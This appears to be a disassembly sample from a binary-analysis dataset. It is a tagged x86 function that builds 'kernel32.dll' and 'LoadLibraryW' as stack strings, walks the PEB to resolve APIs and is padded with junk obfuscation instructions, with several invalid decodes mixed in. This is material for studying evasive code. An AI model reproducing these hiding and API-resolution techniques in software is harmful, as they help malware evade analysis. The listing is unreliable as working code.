Function at 0x43707b
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ecx
or ecx, 0x9e16
pop ecx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x436e7f
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x436ee2
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x436d9e
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x436d9e
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x436ecc
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x436ed6
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x436f2b
push ebx
push eax
add esp, 4
sub ebx, 0x16995
and ebx, 0x1613b
sub ebx, 0x7f6d
and ebx, 0xa43b
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x7468
pop ecx
push edi
xor edi, 0x3a31
pop edi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x436f93
push esi
push esi
add esp, 4
and esi, 0xd5eb
sub esi, 0x64f
call 0x436f4a
add byte [ebp + 0x4a], cl
push eax
inc esp
xor edi, dword [esi + eax*2]
xor al, byte [ebx - 0x197efb3c]
int 0x64
add byte [eax], al
pop esi
push edx
jmp 0x436f5c
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
invalid
dec dword [ebx - 0x4d37b]
invalid
cmp eax, dword [ebp - 0xc20]
je 0x436f89
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x436d3f
mov dword [ebp - 0x2e0], 0
push ebx
sub ebx, 0x13171
and ebx, 0x124a
xor ebx, 0x166cf
and ebx, 0x5560
pop ebx
push esi
xor esi, 0x1770c
pop esi
push edx
add edx, 0x7094
pop edx
push edx
sub edx, 0x14447
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x4378de
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
call 0x43707b
add byte [edx], dh
cmp dword [edi], edi
cmp dword [eax + 0x40], edx
xor eax, 0x4c48335
or ebx, 0xc22d
add ebx, 0x1683
pop ebx
push ecx
push edx
add esp, 4
jmp 0x437096
sub ecx, 0x149a9
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
call 0x43712d
add byte [esi], dh
cmp al, 0x4c
dec edi
inc ebp
dec ebp
dec ebx
add esp, 4
or edi, 0x14c37
pop edi
push edi
push ebx
add esp, 4
and edi, 0x9195
and edi, 0x8c14
pop edi
push edi
or edi, 0x12d69
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x437169
mov dword [ebp - 0x6ec], 0
jmp 0x437425
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
push edi
add esp, 4
xor ebx, 0x1567f
pop ebx
push edx
and edx, 0x17733
and edx, 0x167a4
call 0x4371a3
add byte [eax + 0x4d], cl
cmp eax, 0x3f463732
xor eax, 0x4c4833f
add edx, 0x883c
pop edx
cmp dword [ebp - 0xc2c], 0
jne 0x4371c5
mov dword [ebp - 0x6ec], 0
jmp 0x437425
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ecx
call 0x4371de
add byte [edx + 0x3a], cl
inc ecx
dec eax
xor eax, 0x4c4834d
sub ecx, 0x16876
and ecx, 0x164fd
and ecx, 0x13862
pop ecx
push esi
push ebx
add esp, 4
jmp 0x437202
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push edi
add esp, 4
and esi, 0x9597
add esi, 0x3667
pop esi
push esi
sub esi, 0x1330e
jmp 0x437251
pop esi
push edi
xor edi, 0x140f1
pop edi
push edx
xor edx, 0xdcf7
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
jmp dword [esi - 0x75]
lea edi, [esi - 0x10]
invalid
jmp dword [esi - 0x77]
lea eax, [esi + edi*8]
invalid
dec dword [ebx - 0xc276b]
jmp dword [esi - 0x75]
add ah, byte [esi - 0x77]
test dword [eax + esi*8 - 1], edi
dec dword [ebx - 0xc2773]
inc dword [ebx - 0x7276fd3f]
fdiv st(3)
invalid
jmp dword [esi - 0x75]
xchg ebp, eax
jl 0x4372a3
invalid
jmp dword [esi - 0x77]
xchg ebp, eax
cld
invalid
invalid
call dword [ebx - 0x7f]
jns 0x4372d5
add dword [eax], eax
add ebx, 0x13440
add ebx, 0x2441
xor ebx, 0x11edb
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x79e0
xor esi, 0x9669
and esi, 0x15603
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x437311
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
sbb al, 0xeb
invalid
invalid
jmp 0x437374
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
mov bh, 0x8d
cld
invalid
invalid
invalid
cmp eax, ecx
je 0x437230
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
invalid
invalid
push esi
jmp 0x43742c
pop esi
push ebx
push edx
add esp, 4
and ebx, 0x15a53
call 0x437445
add byte [ebx], dh
dec edi
inc eax
xor eax, dword [ecx + 0x4c]
dec ebp
add esp, 4
pop ebx
push edx
or edx, 0x3a72
and edx, 0x67a9
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x4374a1
push edi
call fcn.00437470
add byte [ebp + 0x41], cl
push eax
aas
dec esi
cmp byte [esi], bh
push eax
push esi
and esi, 0xa610
sub esi, 0x13635
pop esi